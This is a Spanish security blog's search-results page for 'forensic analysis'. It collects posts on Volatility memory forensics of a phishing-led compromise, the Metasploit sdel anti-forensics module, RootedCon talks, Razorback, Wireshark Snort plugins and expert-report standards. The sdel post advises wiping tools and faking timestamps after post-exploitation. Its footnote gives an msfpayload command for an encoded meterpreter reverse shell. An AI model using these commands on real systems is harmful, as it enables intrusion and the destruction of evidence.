Search Results for: análisis forense

Realizando el otro día el reto del análisis forense que había dejado Jack Crook (@jackcr) en el grupo GCIH de LinkedIn, actualicé Volatility a la versión 2.3_alpha. En este reto, el autor había incluido el volcado de la RAM y un timeline del disco de cada uno de los equipos afectados, así como una captura del tráfico de red. No obstante, al revisar las novedades que incluia esta versión Alfa vi que traía un par de ellas que llamaban la atención: mbrparser y mftparser.

Mftparser, como se indica en la página de Volatility, escanea y analiza entradas en la Master File Table (MFT). El plugin escanea la memoria en busca de posibles entradas de la MFT y muestra determinada información asociada. Una explicación del funcionamiento se detalla con más profundidad en la entrada OMFW 2012: Reconstructing the MBR and MFT from Memory.

A pesar de que tenía el timeline, decidí probar el nuevo plugin y compararlo con el que nos habían proporcionado. La salida puede mostrarse en un formato tabulado o, aquí es donde se le puede sacar mucho potencial, en formato el body de Sleuthkit (con la opción –output=body).

mbelda@audit:~/Forensics/jackcr-challenge$ python ~/volatility/vol.py --profile=WinXPSP3x86 -f 
  ENG-USTXHOU-148/memdump.bin mftparser –output=body
Volatile Systems Volatility Framework 2.3_alpha

Scanning for MFT entries and building directory, this can take a while
(FN) 0x12d588|WINDOWS\Prefetch\NETEXE~1.PF|11727|---a-------I---|0|0|424|1353971273|1353971273|
  1353971273|1353971273
(SI) 0x12d588|WINDOWS\Prefetch\NETEXE~1.PF|11727|---a-------I---|0|0|424|1353971273|1353971273|
  1353971273|1353971273
(FN) 0x12d588|WINDOWS\Prefetch\NET.EXE-01A53C2F.pf|11727|---a-------I---|0|0|424|1353971273|
  1353971273|1353971273|1353971273
(FN) 0x2bbee0|WINDOWS\Prefetch\NET1EX~1.PF|11728|---a-------I---|0|0|432|1353971306|1353971306|
  1353971306|1353971306
(SI) 0x2bbee0|WINDOWS\Prefetch\NET1EX~1.PF|11728|---a-------I---|0|0|432|1353971306|1353971306|
  1353971306|1353971306
(FN) 0x2bbee0|(Null)|11728|---------------|0|0|432|0|0|0|0
(FN) 0x311000|WINDOWS\Prefetch\NET1EX~1.PF|11728|---a-------I---|0|0|480|1353971306|1353971306|
  1353971306|1353971306
(SI) 0x311000|WINDOWS\Prefetch\NET1EX~1.PF|11728|---a-------I---|0|0|480|1353980005|1353980005|
  1353980005|1353971306
(FN) 0x311000|WINDOWS\Prefetch\NET1.EXE-029B9DB4.pf|11728|---a-------I---|0|0|480|1353971306|13
  53971306|1353971306|1353971306
(FN) 0x311400|WINDOWS\Prefetch\SLEXE-~1.PF|11729|---a-------I---|0|0|472|1353971435|1353971435|
  1353971435|1353971435
(SI) 0x311400|WINDOWS\Prefetch\SLEXE-~1.PF|11729|---a-------I---|0|0|472|1353971493|1353971493|
  1353971493|1353971435
[...]

Luego basta con ejecutar mactime, de la suite Sleuthkit, sobre este fichero y obtendremos un timeline del sistema a partir de la RAM de éste.

mbelda@audit:~/Forensics/jackcr-challenge$ mactime -b  ENG-USTXHOU-148/body.txt >  
  ENG-USTXHOU-148/body_mactime.txt

Esto me parece especialmente útil cuando, por motivos de tamaño o disponibilidad, no podemos tener una imagen del disco analizado, aportándonos información de cuándo se creó o accedió a determinados archivos.

Veamos un ejemplo. Gracias a buscar cadenas (comando strings con la IP descubierta mediante el comando connscan) directamente sobre el volcado de la RAM, se descubre un correo recibido por el usuario que contiene un enlace a un fichero ejecutable:

mbelda@audit:~/Forensics/jackcr-challenge$ python ~/volatility/vol.py --profile=WinXPSP3x86 -f 
  ENG-USTXHOU-148/memdump.bin connscan

Volatile Systems Volatility Framework 2.3_alpha
Offset(P)  Local Address             Remote Address            Pid
---------- ------------------------- ------------------------- ---
0x01f60850 0.0.0.0:0                 1.0.0.0:0                 36569092
0x01ffa850 172.16.150.20:1291        58.64.132.141:80          1024
0x0201f850 172.16.150.20:1292        172.16.150.10:445         4
0x02084e68 172.16.150.20:1281        172.16.150.10:389         628
0x020f8988 172.16.150.20:2862        172.16.150.10:135         696
0x02201008 172.16.150.20:1280        172.16.150.10:389         628
0x18615850 172.16.150.20:1292        172.16.150.10:445         4
0x189e8850 172.16.150.20:1291        58.64.132.141:80          1024
0x18a97008 172.16.150.20:1280        172.16.150.10:389         628
0x18b8e850 0.0.0.0:0                 1.0.0.0:0                 36569092
0x18dce988 172.16.150.20:2862        172.16.150.10:135         696

mbelda@audit:~/Forensics/jackcr-challenge$ strings ENG-USTXHOU-148/memdump.bin > 
  ENG-USTXHOU-148/strings.txt
mbelda@audit:~/Forensics/jackcr-challenge$ cat ENG-USTXHOU-148/strings.txt

[…]

Received: from d0793h (d0793h.petro-markets.info [58.64.132.141])
        by ubuntu-router (8.14.3/8.14.3/Debian-9.2ubuntu1) with SMTP id qAQK06Co005842;
        Mon, 26 Nov 2012 15:00:07 -0500
Message-ID: <FCE1C36C7BBC46AFB7C2A251EA868B8B@d0793h>
From: "Security Department" <isd@petro-markets.info>
To: <amirs@petro-market.org>, <callb@petro-market.org>,
        <wrightd@petro-market.org>
Subject: Immediate Action
Date: Mon, 26 Nov 2012 14:59:38 -0500
MIME-Version: 1.0
Content-Type: multipart/alternative;
        boundary="----=_NextPart_000_0015_01CDCBE6.A7B92DE0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2900.5512
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.5512
Return-Path: isd@petro-markets.info
X-OriginalArrivalTime: 26 Nov 2012 20:00:08.0432 (UTC) FILETIME=[A2ABBF00:01CDCC10]
This is a multi-part message in MIME format.
------=_NextPart_000_0015_01CDCBE6.A7B92DE0
Content-Type: text/plain;
        charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Attn: Immediate Action is Required!!
The IS department is requiring that all associates update to the new =
version of anti-virus.  This is critical and must be done ASAP!  Failure =
to update anti-virus may result in negative actions.
Please download the new anti-virus and follow the instructions.  Failure =
to install this anti-virus may result in loosing your job!
Please donwload at http://58.64.132.8/download/Symantec-1.43-1.exe
Regards,
The IS Department
------=_NextPart_000_0015_01CDCBE6.A7B92DE0
Content-Type: text/html;
        charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META name=3DGENERATOR content=3D"MSHTML 8.00.6001.18702">
[…]

Mediante el plugin iehistory (también nuevo en esta versión 2.3 de Volatility) se pudo confirmar que el usuario pinchó en el enlace:

mbelda@audit:~/Forensics/jackcr-challenge$ python ~/volatility/vol.py --profile=WinXPSP3x86 -f 
  ENG-USTXHOU-148/memdump.bin iehistory

Volatile Systems Volatility Framework 2.3_alpha
**************************************************
Process: 284 explorer.exe
Cache type "URL " at 0x2895000
Record length: 0x100
Location: Visited: callb@http://58.64.132.8/download/Symantec-1.43-1.exe
Last modified: 2012-11-26 23:01:53 
Last accessed: 2012-11-26 23:01:53 
File Offset: 0x100, Data Offset: 0x0, Data Length: 0xa8

Pero no sería sino gracias al timeline creado por el plugin mftparser que se puede confirmar que no sólo se pinchó en el enlace sino que se descargó el fichero, se ejecutó y así fue comprometido inicialmente el sistema.

mbelda@audit:~/Forensics/jackcr-challenge$ cat ENG-USTXHOU-148/body_mactime.txt
[…]
Mon Nov 26 2012 23:01:54      472 mac. --------------- 0  0  10117    Documents and Settings\
                                                                       callb\Local Settings\Temp
                              352 macb ---a-------I--- 0  0  11721    System Volume Information\
                                                                       _restore{68B1E438-DDF2-48EE-
                                                                       BFAF-9C59BEF8C439}\RP26\
                                                                       A0008032.sys
                              504 macb ---a-------I--- 0  0  11722    WINDOWS\Prefetch\
                                                                       SYMANTEC-1.43-1[2].
                                                                       EXE-3793B625.pf
                              504 macb ---a-------I--- 0  0  11722    WINDOWS\Prefetch\SYMANT~1.PF
                              584 mac. --------------- 0  0  3420     WINDOWS\system32\CatRoot2
                              824 .a.. --------------- 0  0  3432     WINDOWS\system32\CatRoot2\
                                                                       {F750E~1
                              344 mac. ---a----------- 0  0  6996     WINDOWS\system32\CatRoot2\
                                                                       tmp.edb
                              352 .a.. ---a----------- 0  0  8499     WINDOWS\system32\CatRoot2\
                                                                       edb00095.log
                              344 .ac. -h------------- 0  0  8610     WINDOWS\system32\6to4ex.dll
                              336 mac. ---a----------- 0  0  8611     WINDOWS\system32\CatRoot2\
                                                                       edb.log
                              472 mac. -----------I--- 0  0  8823     System Volume Information\
                                                                       _restore{68B1E438-DDF2-48EE-
                                                                       BFAF-9C59BEF8C439}\RP26
Mon Nov 26 2012 23:01:55      352 m.c. ---a-----c----- 0  0  10219    WINDOWS\system32\dllcache\
                                                                       beep.sys
                              344 mac. ---a----------- 0  0  206      WINDOWS\system32\drivers\
                                                                       beep.sys
                              416 .a.. ---a----------- 0  0  3438     WINDOWS\system32\CatRoot2\
                                                                       {F750E6C3-38EE-11D1-85E5-
                                                                       00C04FC295EE}\TIMEST~1
                              416 .a.. ---a----------- 0  0  3439     WINDOWS\system32\CatRoot\
                                                                       {F750E6C3-38EE-11D1-85E5-
                                                                       00C04FC295EE}\TIMEST~1
                              576 .a.. -h------------- 0  0  45       WINDOWS\inf
                              344 mac. ---a----------- 0  0  7161     WINDOWS\system32\wbem\Logs\
                                                                       wbemess.log
                              352 .a.. ---a----------- 0  0  8071     WINDOWS\inf\syssetup.inf
                              568 ..c. -hs--------I--- 0  0  8835     Documents and Settings\callb\
                                                                       IETLDC~1
                              344 m.c. -hsa-------I--- 0  0  8836     Documents and Settings\callb\
                                                                       IETldCache\index.dat
                              344 .a.. --s------------ 0  0  9481     WINDOWS\system32\config\
                                                                       systemprofile\Application Data\
                                                                       Microsoft\SystemCertificates\My\
                                                                       CTLs
                              344 .a.. --s------------ 0  0  9482     WINDOWS\system32\config\
                                                                       systemprofile\Application Data\
                                                                       Microsoft\SystemCertificates\My\
                                                                       CRLs
                              472 .a.. --s------------ 0  0  9483     WINDOWS\system32\config\
                                                                       systemprofile\Application Data\
                                                                       Microsoft\SystemCertificates\
                                                                       My\CERTIF~1
Mon Nov 26 2012 23:01:56      352 macb ---a-------I--- 0  0  10216    System Volume Information\
                                                                       _restore{68B1E438-DDF2-48EE-
                                                                       BFAF-9C59BEF8C439}\RP26\
                                                                       A0008033.PNF
                              360 mac. ---a----------- 0  0  3355     WINDOWS\inf\syssetup.PNF
Mon Nov 26 2012 23:01:59      352 .ac. ---a-----c----- 0  0  10219    WINDOWS\system32\dllcache\
                                                                       beep.sys
                              352 macb ---a-------I--- 0  0  11705    System Volume Information\
                                                                       _restore{68B1E438-DDF2-
                                                                       48EE-BFAF-9C59BEF8C439}\
                                                                       RP26\A0008034.sys
                              936 mac. rhs------c----- 0  0  71       WINDOWS\system32\dllcache
Mon Nov 26 2012 23:02:07      352 .a.. ---a----------- 0  0  23813    WINDOWS\system32\racpldlg.dll
Mon Nov 26 2012 23:03:10      472 macb --------------- 0  0  7556     WINDOWS\webui
Mon Nov 26 2012 23:03:21      488 macb ---a-------I--- 0  0  11706    WINDOWS\Prefetch\
                                                                       IPCONFIG.EXE-2395F30B.pf
                              488 macb ---a-------I--- 0  0  11706    WINDOWS\Prefetch\IPCONF~1.PF
                              352 .a.. ---a----------- 0  0  24145    WINDOWS\system32\ipconfig.exe
Mon Nov 26 2012 23:03:55      376 mac. ---a----------- 0  0  3436     WINDOWS\system32\CatRoot2\
                                                                       {F750E6C3-38EE-11D1-85E5-
                                                                       00C04FC295EE}\catdb
Mon Nov 26 2012 23:04:14      352 .a.. ---a----------- 0  0  23351    WINDOWS\system32\drivers\
                                                                       fastfat.sys
Mon Nov 26 2012 23:04:24      336 mac. ---a----------- 0  0  9790     WINDOWS\system32\CatRoot2\
                                                                       edb.chk
Mon Nov 26 2012 23:06:34      504 macb ---a----------- 0  0  11710    WINDOWS\ps.exe
                              472 m.c. --------------- 0  0  28       WINDOWS
Mon Nov 26 2012 23:06:35      504 m.c. ---a----------- 0  0  11710    WINDOWS\ps.exe
Mon Nov 26 2012 23:06:47      416 macb ---a----------- 0  0  11719    WINDOWS\webui\gs.exe
Mon Nov 26 2012 23:06:48      416 mac. ---a----------- 0  0  11719    WINDOWS\webui\gs.exe
Mon Nov 26 2012 23:06:52      440 macb ---a----------- 0  0  11723    WINDOWS\webui\ra.exe
Mon Nov 26 2012 23:06:56      344 macb ---a----------- 0  0  11724    WINDOWS\webui\sl.exe
Mon Nov 26 2012 23:06:59      368 macb ---a----------- 0  0  11725    WINDOWS\webui\wc.exe
                              288 m... ---a----------- 0  0  11739    WINDOWS\system32\wc.exe
Mon Nov 26 2012 23:07:31      352 .a.. --------------- 0  0  11470    WINDOWS\system32\iertutil.dll
                              344 .a.. ---a----------- 0  0  11498    WINDOWS\system32\urlmon.dll
                              344 .a.. ---a----------- 0  0  11502    WINDOWS\system32\wininet.dll
                              488 mac. ---a-------I--- 0  0  11706    WINDOWS\Prefetch\IPCONF~1.PF
                              352 macb ---a----------- 0  0  11726    WINDOWS\webui\netuse.dll
[...]

Los otros ficheros resaltados son lo que crea el Dropper al ejecutarse y es así como se compromete el equipo. Si alguien quiere ver el informe final del reto, en el siguiente enlace pueden consultar el que ha subido Bryan Nolen (@BryanNolen) en la página de Volatility.

@Jackcr Forensics Challenge

Buen fin de semana a todos.

Recientemente ha sido añadido a Metasploit (rama master) un módulo que nos puede ser interesante de cara a borrar ficheros descargados en el equipo de una víctima desde una sesión de meterpreter.

El módulo en cuestión, sdel, sobreescribe el fichero que queramos el número de veces que le indiquemos, bien con caracteres aleatorios, bien con null bytes (de forma similar al comando shred para Linux. Además, antes del borrado del fichero, sobreescribe su nombre con una cadena larga aleatoria (200 bytes) y modifica los atributos MACE del mismo (fechas de acceso, modificación, creación y entrada en la Master File Table (MFT) por medio de la API priv.fs.set_file_mace tal y como se muestra en su código. Como se ve, las nuevas fechas generadas se corresponderán con la fecha actual menos N días aleatorios.

Es importante destacar que, en el caso de tratarse de sistemas NTFS, si lo que se desea es eliminar ficheros muy pequeños, éstos podrían quedar residentes en el stream descriptor de la MFT y por tanto no serían sobreescritos. El módulo sdel alertaría de ello, avisando de que el fichero que se desea borrar es inferior a 800 bytes. Sdel, por tanto, sobreescribe el contenido del fichero y el slack space (espacio —perdido— que sobra entre el final del fichero y el clúster que se considera usado), pero no hará un “wipeo” del espacio libre. Es importante tener ésto en cuenta ya que ficheros que usen el cifrado/comprensión de Windows, así como ficheros temporales, podrían quedar repartidos por el disco sin ser sobreescritos.

Como bien indica su descripción, este módulo puede resultarnos muy útil cuando por ejemplo, en la fase de post explotación en un equipo víctima, necesitamos descargar algún fichero ejecutable para realizar alguna acción, y tras ello queremos borrar su contenido con seguridad, de cara a dificultar la tarea de un posible análisis forense a posteriori.

El uso de sdel es sencillo. Para sobreescribir y borrar el fichero deseado, únicamente se tiene que especificar el número de iteraciones (sobreescrituras) que se quieren llevar a cabo, así como el tipo de sobreescritura (aleatoria o null bytes). A continuación las opciones que tiene dicho módulo:

Ahora supongamos el siguiente escenario. Tenemos una sesión de meterpreter [1] en un equipo víctima en el que hemos utilizado la herramienta mimikatz (herramienta que permite el volcado de contraseñas en texto claro de un sistema Windows o la obtención de hashes de la SAM, entre otras características) y tras usarla queremos eliminarla, y para ello ejecutamos sdel indicándole por ejemplo que sobreescriba el fichero 3 veces:

Si tras el borrado con sdel de un fichero comprobamos [2] el contenido del mismo en disco antes y después del borrado, podemos ver que se ha sobreescrito correctamente. En las siguientes capturas se muestra el resultado antes y después del borrado de un fichero de prueba (msf.txt) en disco sobre un sistema de ficheros NTFS.

Como se observa en las imágenes anteriores tanto el nombre en la MTF como el contenido ha sido sobreescrito.

El módulo ha sido desarrollado por el también editor de este blog, Borja Merino (@borjamerino), y podéis usarlo siempre que os aseguréis de tener actualizada la última versión de Metasploit.

—

[1] Para las pruebas realizadas utilicé una VM con Windows 7 (X.X.X.51) y una Backtrack 5 r3 (X.X.X.41) desde la que generé un fichero ejecutable (meterpreter.exe) con el payload windows/meterpreter/reverse_tcp y codificándolo con el algoritmo shikata_ga_nai:

msfpayload windows/meterpreter/reverse_tcp LHOST=X.X.X.41 R | ./msfencode -e x86/shikata_ga_nai 
-c 10 -t exe -o meterpreter.exe

Ejecutando el fichero meterpreter.exe en la máquina de la víctima y haciendo uso de Metasploit ya obtenemos nuestra reverse shell para conectarnos al equipo víctima:

[2] La herramienta utilizada ha sido WinHex.

El ICS-CERT ha publicado recientemente una serie de recomendaciones muy básicas sobre cómo mitigar una ciberintrusión dirigida, sobre todo, a entornos industriales e infraestructuras críticas, y aplicable tanto a redes empresariales como a sistemas de control. Aunque estas recomendaciones no entran en detalle en cada una de las acciones que se deben realizar, si que conviene tenerlas en cuenta, ya que proporcionan una serie de buenas pautas a seguir, importantes dentro de la seguridad en un entorno industrial.

• Prevención de movimientos laterales: cuando descubrimos que hay un equipo comprometido en nuestra red, nuestra principal preocupación debería ser minimizar los movimientos laterales a través de la red. Es decir, no tiene sentido ir desinfectando equipo por equipo comprometido conforme se vayan detectando si la infección no ha sido contenida, ya que ésta seguirá expandiéndose. Es esencial que se identifique cuanto antes el grado de intrusión y en qué áreas de la red están los equipos comprometidos para aislarlos. Los movimientos laterales pueden ser identificados por diversas herramientas y técnicas como IPS, IDS, analizando los logs de firewalls, proxys, DNS o realizando capturas de paquetes.

[Read more…]

Llegamos al último día de la RootedCon con el cuerpo cansado pero con ganas de disfrutar las últimas charlas de esta edición.

Durante la primera charla, tocó apagar los teléfonos móviles ya que José Picó y David Pérez presentaron los Nuevos escenarios de ataque con estación base falsa GSM/GPRS. Para los que no hayan visto una charla de los compañeros de Taddong, decir que siempre traen consigo una jaula de Faraday para evitar que los ataques se produzcan sobre los móviles de los asistentes y mantener el escenario controlado. Durante la charla mostraron como se puede realizar una denegación de servicio contra un teléfono móvil mediante una estación base falsa. El ataque consistía en devolver la misma respuesta que devuelven los operadores cuando la tarjeta ha sido bloqueada, de esta forma el teléfono entendía que su tarjeta no era válida y desistía de conectarse a cualquier estación base hasta que reiniciara el móvil.

Después de esta charla llegó Sebastián Guerrero con Pimp Your Android, que hizo un repaso de la seguridad en Android y explicó cuáles son los pasos a seguir para analizar aplicaciones en Android y para hacer un análisis forense. Además de la metodología, también apuntó diversas herramientas para llevar el análisis a buen puerto, como son Understand, dex2jar, JD-GUI y un largo etcétera. También mostró el problema de perder el móvil y la cantidad de información que se puede sacar de él. La frase que usó el mismo Sebastián y que creo que resume muy bien lo que intentaba transmitir fue “Si pierdes el móvil, te llevas un huevazo en la cara”. Por último, explicó cuales son las características que incluyen los nuevos malware, como por ejemplo exploits para convertirse en root, módulos de conexión al C&C…

[Read more…]

Como cada año desde 2010, ha tenido lugar una de las conferencias más importantes (si no la más) del panorama de la seguridad española. Imagino que si sois asiduos al blog no hará falta que explique qué es RootedCon, pero por si hay algún despistado, decir que son unas conferencias de seguridad de 3 días de duración con contenidos altamente técnicos que se celebran en Madrid.

Security ArtWork estuvo allí y nos gustaría comentar nuestra experiencia para los que no tuvieron la suerte de poder asistir.

[Read more…]

El pasado Agosto de 2011 fue publicado un artículo por Sanjay Goel, cuyo título se corresponde con el título de esta entrada. El artículo tiene como principal objetivo cubrir el estado del arte de la ciberguerra y sus retos, además de aproximarse hacia la recolección de datos inteligentes y el análisis forense de incidentes producidos en una ciberguerra.

Según comenta el artículo los actores principales de las ciberguerras son los estados, terroristas y grupos sociopolíticos, y junto a éstos existen actores secundarios que son parásitos o establecen una simbiosis con los actores principales de la ciberguerra. Se plantean varios objetivos para iniciar este tipo de conflictos, como son espionaje y reconocimiento, propaganda y guerra social, deshabilitar la infraestructura Web del gobierno objetivo y atacar infraestructura críticas entre otros. Todas estas amenazas son conocidas y hemos hablado de ellas en varios artículos de blog, de manera directa o indirecta, siendo conscientes del riesgo al que estamos expuestos, por lo menos los que estamos en este sector y vamos viendo día a día cómo van actuando los “malos”.

En una segunda parte del artículo se centra en la recolección de información y el análisis de la misma. Como todos sabemos la información existe y está ahí expuesta, y es el momento de recolectarla y sobretodo de extraerla, analizarla y de relacionar las diferentes fuentes de información. Se que dicho así, suena sencillo, pero es tal el volumen de información en la red, que este uno de los retos de este tiempo.

Sanjay Goel en el artículo diferencia entre “unstructured data”, que son datos de foros de hackers, blogs, sitios web, cuentas de twitter, etcétera, que te ayudan a prevenir un ataque y “network data”, donde se refiere a información de IDSs, darknets, honeypots, firewalls, routers, equipos infectados, etcétera. Añade además que estos dos tipos de fuente deben activarse una a la otra. Es decir, si se observa algo extraño en nuestros “network data”, debemos observar la información que llega de las “unstructured data” y viceversa, lo que resulta evidente.

Como conclusión, me permitirán que me quede con la necesidad de contar con el análisis humano combinado con herramientas semiautomáticas y técnicas avanzadas, imprescindibles para procesar este volumen de información de una diversidad tan elevada. Bajo mi punto de vista llegar a una automatización total es una tarea a día de hoy de lo más compleja, pero automatizar y correlar esta información en la medida de la posible se ha convertido en una necesidad imperiosa.

En definitiva, la información está ahí; “solo” nos queda recopilarla, correlarla, analizarla, predecir acontecimientos futuros, actuar ante acontecimientos actuales, y analizar acontecimientos pasados. Ahí es nada.

Recordemos rápidamente el post anterior que Security Art Work publicó sobre Razorback: es un proyecto de código abierto actualmente en desarrollo por el equipo VRT de Sourcefire, cuyos objetivos son básicamente proporcionar un marco de trabajo unificado para la gestión de incidentes de manera avanzada en el que poder analizar tráfico, detectar ataques, generar alertas, correlarlas y guardar toda la información en una misma base datos. Con todo esto dispondríamos de una información muy valiosa de cara a detectar tendencias de ataques (entre otras cosas) y así poder prevenirnos.

Conocíamos la teoría, y sabíamos que potencialmente podría ser muy versátil gracias a su diseño modular, que lo hace escalable y personalizable (comentábamos que estaba formado por Nuggets que podemos crear nosotros mismos) pero hasta que no lo hemos probado no hemos visto qué era capaz de hacer.

La instalación del entorno no es rápida, sin embargo, disponemos de una máquina virtual con todo ya montado, ideal para probar de una manera cómoda el funcionamiento. Tiene instalados los siguientes nuggets: Yara, OfficeCat, ClamAV, Archive Inflate, Scripting, File Inject, Snort, Virus Total (se activa si le proporcionamos una API key) y el PDF Dissector ( solo se activa bajo licencia) y está montada sobre FreeBSD.

Una vez levantada la VM puedes acceder a la interfaz de administración (o de gestión como yo le he llamado, véase la siguiente imagen) desde http://:8080 :

Desde este panel de administración podemos gestionar fácilmente todo el sistema, desde la creación de usuarios, conexiones de red, creación de nuevas interfaces, control de los servicios, estado de los nuggets, ver qué procesos se están ejecutando, comprobar el estado de nuestra CPU, tráfico a través de las interfaces, etc. Por ejemplo, en la siguiente imagen vemos como desde el panel de administración comprobamos que nuggets tenemos funcionando:

También podemos comprobar los servicios:

En el puerto 80 podemos acceder a la interfaz de usuario, en la cual podemos consultar los eventos generados o subir ficheros para que los analice directamente (“Submit Data Block“). A continuación se muestra una imagen de dicha interfaz en la que mostramos el campo Status, para comprobar el estado general del sistema:

Se ha probado por ejemplo a pasarle un fichero comprimido que contenía un ejecutable malicioso y en los eventos generados se puede ver el análisis que se le hace tanto al fichero comprimido como a cada fichero contenido en él alertándonos en que fichero se alojaba el malware.

Para las pruebas que se hicieron, se configuró una nueva interfaz de red en la VM (que se llamó monitorización —ver primera imagen de este post—) de modo que Snort (nuestro nugget collector) monitorizara todo el tráfico que llegara por esa interfaz. Una vez hecho ésto, para probar el funcionamiento se le pasaron varios pcap con malware que se cogieron de este repositorio. Comentar que se hizo con Tcpreplay:

/usr/local/bin/tcpreplay --intf1=em1 file.pcap

De esta forma se inyecta por la interfaz em1 (mi interfaz de monitorización) un fichero file.pcap.

Así, una vez enviado tráfico sobre la interfaz de monitorización puedo observar en la interfaz de usuario, en Events, todas las alertas que me genera ese tráfico, aquí una imagen (cortada porque era un gran listado de eventos):

En la imagen anterior vemos tres eventos a modo de ejemplo, en los dos primeros nos muestra que se han generado alertas (5ª columna). Desplegando, en este mismo panel, los metadatos asociados al evento que tenemos seleccionando nos da la siguiente información:

Pinchando directamente en las alertas generadas nos muestra lo siguiente:

Desplegando la sección de Malware Names, nos saca un listado (incompleto porque se ha acortado para que se viera mejor) de nombres de este tipo de malware:

En líneas generales este sería el funcionamiento básico de Razorback.

Por supuesto está aún en “pañales” y probablemente se le pueda sacar mucho más partido en un futuro del que se ha mostrado en este post, pero nos da una idea de lo que es capaz de hacer y cómo manejarnos a través de los paneles de gestión que incorpora. Tras las breve toma de contacto que se ha tenido con este Framework diríamos que algunas ventajas a tener en cuenta serían que es apropiado para detectar en tiempo real incidentes contra usuarios finales, puedes crear tus propios nuggets, parece interesante para detectar 0-day, detección de tendencias de ataques, interesante a la hora de hacer un análisis forense a un pcap, las interfaces son muy intuitivas… Por otro lado, sus principales inconvenientes serían que está en desarrollo, parece generar falsos positivos y es complicado de montar.

Hace unos días se publicaba en The Honeynet Project una entrada que hablaba sobre una serie de nuevos plugins para Wireshark desarrollados en el Google Summer of Code (GSoC) de este año.

Uno de esos plugins, WireShnork, permite aplicar las reglas de Snort al tráfico de red capturado por Wireshark y añade un nuevo filtro para que se pueda seleccionar aquellos paquetes que hacen saltar una regla que tengamos definida en Snort. Parece muy interesante, sobre todo a la hora de hacer un análisis forense ya que cuando el tamaño de la captura a analizar contiene miles de paquetes se hace inmanejable y es necesario filtrar por lo más relevante.

Por ahora WireShnork (y el resto de nuevos plugins del GSoC) solo está para Wireshark 1.7 (Development Release) y, tal y como indican en la entrada de The Honey Project, se pueden descargar vía GIT:

$ git clone git://git.honeynet.org/wireshark.git

Tras descargarlos se habrá creado un nuevo directorio:“wireshark”, con los plugins y un script llamado get-wireshark.sh. Para probarlo es necesario tener también Snort instalado (para las pruebas que hice usé Snort 2.9.1.2). Una vez se tiene Snort funcionando, Wireshark 1.7 instalado, y los nuevos plugins compilados ya se puede probar el funcionamiento de WireShnork.

Al arrancar la primera vez Wireshark salta un aviso indicando que no se encuentran los ficheros de configuración de Snort, así que se debe indicar la ruta a snort.conf en Edit-> Preferences -> Protocols-> Wireshnork tal y como se muestra en la siguiente figura:

Para realizar las pruebas con WireShrork pasé un pcap descargado del repositorio de pcap públicos que nos ofrece Sourceforge. Concretamente utilicé una captura de una máquina infectada por el gusano W32/Sdbot.

En el cuadro de texto disponible para realizar los filtrados, añadimos “snort” y aplicamos dicha regla de filtrado. Esto seleccionará solo aquellos paquetes que hayan hecho “match” con las reglas de Snort que estén activas, tal y como se ve en la siguiente figura:

Se puede filtrar también por el SID de la regla del snort, Message, etc:

Por ejemplo, filtrando por un SID concreto mostraría solamente aquellos paquetes que hicieran saltar la regla de Snort con dicho SID como se puede ver a continuación:

Resulta de gran utilidad para ahorrar tiempo al analizar, desde el punto de vista forense, una captura de tráfico de gran tamaño.

Otro plugin del paquete del GSoC que también parece muy interesante para Wireshark es WireViz, éste nos muestra gráficamente con GraphViz las interconexiones de tráfico que se indiquen. En el menú Statistics de Wireshark, si se lanza WireViz se muestra una cuadro en el se puede elegir como queremos que se dibuje el gráfico, filtrando por ip, tcp, eth,udp, ivpv6 o el diseño que queremos aplicarle a dicho gráfico:

Si filtramos por ip y con la opción twopi para que pinte un diseño radial, el gráfico quedaría de la siguiente forma:

Pinchando en cada nodo se puede aplicar un filtrado en el propio Wireshark:

Se puede también personalizar nuestro gráfico aplicando diferentes formas y colores y filtrando según protocolo por ejemplo:

Se puede afinar más los resultados usando la barra de filtrado, de manera que es posible, por ejemplo, seleccionar únicamente por las interconexiones que hacen saltar las reglas de Snort, tal y como se ha comentado para WireShnork:

Para finalizar, os dejo un video muy ilustrativo de cómo usar WireViz y comentaros que, como dicen en The Honeynet Project , cualquier feedback acerca de estos nuevos plugins será bien recibido.

El pasado mes de marzo AENOR publicó la norma UNE 197001:2011, Criterios generales para la elaboración de informes y dictámenes periciales; se trata de una norma muy sencilla y escueta -ocho hojas en total, de las cuales únicamente cuatro son “de contenido”-, cuyo objetivo es establecer una garantía para asegurar que las actuaciones periciales son adecuadas al uso al que se destinan. Obviamente una norma de este tipo no entra al detalle de métodos o procesos específicos para la elaboración de informes en campos concretos, sino que únicamente establece consideraciones generales y requisitos formales para las pericias (aprovechamos para pedir alguna norma específica bajo el marco de UNE 197001 relativa a las pericias informáticas, o tecnológicas en general, que seguro que da para mucho más que un post ;).

Lo que esta norma viene a establecer, como decimos, es tan escueto como la estructura deseable en un informe pericial ajustado a la norma: identificación, índice, cuerpo -compuesto por objeto, alcance, antecedentes, consideraciones preliminares , documentos de referencia, terminología, análisis y conclusiones- y anejos si corresponde; un espacio para el juramento o promesa y unas características para la identificación correcta del informe pericial; poco más, porque desde luego lo que no es de aplicación en UNE, ISO u otros estándares, al menos por el momento -ójala algún día lo sean-, son metodologías técnicas propias (análisis forense, preservación de evidencias, gestión de incidentes -desde el punto de vista pericial-…). En este campo ya jugamos con estándares de facto -además con varios, para poder elegir el que más nos guste- y queda a disposición del buen hacer del perito el aplicar uno, otro o ninguno: seguramente al juez o al abogado le va a dar igual.

Ya hemos hablado en este mismo blog del tema de los peritajes informáticos y de algunos problemas habituales con los que nos encontramos los peritos cuando tratamos de defender aspectos tecnológicos frente a un juez o un abogado; por supuesto, ni esta norma ni ninguna otra parece que vaya a arreglar esta situación, así que tendremos que seguir capeándola. Lo que sí creo que va a aportar UNE 197001:2011 -espero- si trabajamos en base a ella es homogeneidad en los informes, al menos en estructura y formalismos, y siendo optimista, si se desarrolla en un futuro una norma específica de peritajes informáticos -¿alguien de AENOR que nos lea y quiera aportar datos?-, más homogeneidad si cabe en este tipo de informes, algo que a día de hoy no existe: hay quien presenta un informe pericial lleno de referencias legales pero sin contenido técnico, hay quien presenta un informe que parece más una oferta o un informe de proyecto que una pericia, hay quien se mete en jardines legales -y luego le estallan en la cara-… vamos, que hay de todo, y si el perito hace mucho caso al abogado, más todavía :)

